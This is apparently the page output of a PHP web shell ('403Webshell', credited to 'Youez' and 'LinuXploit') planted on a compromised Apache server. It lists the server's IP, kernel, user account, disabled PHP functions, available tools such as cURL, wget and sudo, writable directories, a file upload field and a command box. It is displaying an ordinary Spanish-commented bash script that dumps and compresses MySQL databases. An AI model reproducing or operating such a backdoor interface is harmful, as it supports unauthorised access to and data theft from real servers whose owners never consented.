403Webshell
Server IP : 146.190.157.162  /  Your IP : 216.73.217.6
Web Server : Apache
System : Linux ubuntu-s-2vcpu-4gb-amd-sfo3-01-KIT-DIGITAL 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : businessweek ( 639)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_getpriority,pcntl_setpriority,dl,putenv,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wordpress-manager-v2/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wordpress-manager-v2/scripts/backup-all-database.sh
#!/bin/bash

# Parámetros de conexión
DB_HOST="$1"
DB_USER="$2"
DB_PASS="$3"
DB_DUMP="$4"

# Verifica si se especificó la carpeta de destino
if [[ -z "$DB_DUMP" ]]; then
    echo "Falta el parámetro del directorio de backups."
    exit 1
fi

# Crea la carpeta si no existe
mkdir -p "$DB_DUMP"

# Obtiene la lista de bases de datos, excluyendo las predeterminadas del sistema
DBS=$(mysql -h "$DB_HOST" -u "$DB_USER" -p"$DB_PASS" -e "SHOW DATABASES;" | grep -Ev "(Database|information_schema|performance_schema|sys)")

# Itera sobre cada base de datos
for DB in $DBS; do
    echo "Respaldando la base de datos: $DB"

    # Genera el dump
    DUMP_FILE="$DB_DUMP/$DB.sql"
    mysqldump -h "$DB_HOST" -u "$DB_USER" -p"$DB_PASS" \
        --comments --compact --routines --single-transaction \
        --skip-add-locks --skip-lock-tables --default-character-set=utf8 --compress "$DB" > "$DUMP_FILE"

    # Comprime directamente en .tar.gz
    tar -czf "$DUMP_FILE.tar.gz" "$DUMP_FILE"

    # Elimina el archivo SQL original después de comprimirlo
    rm -f "$DUMP_FILE"

    echo "Backup de $DB completado en $DUMP_FILE.tar.gz"
done

echo "Todos los backups han sido generados."

Youez - 2016 - github.com/yon3zu
LinuXploit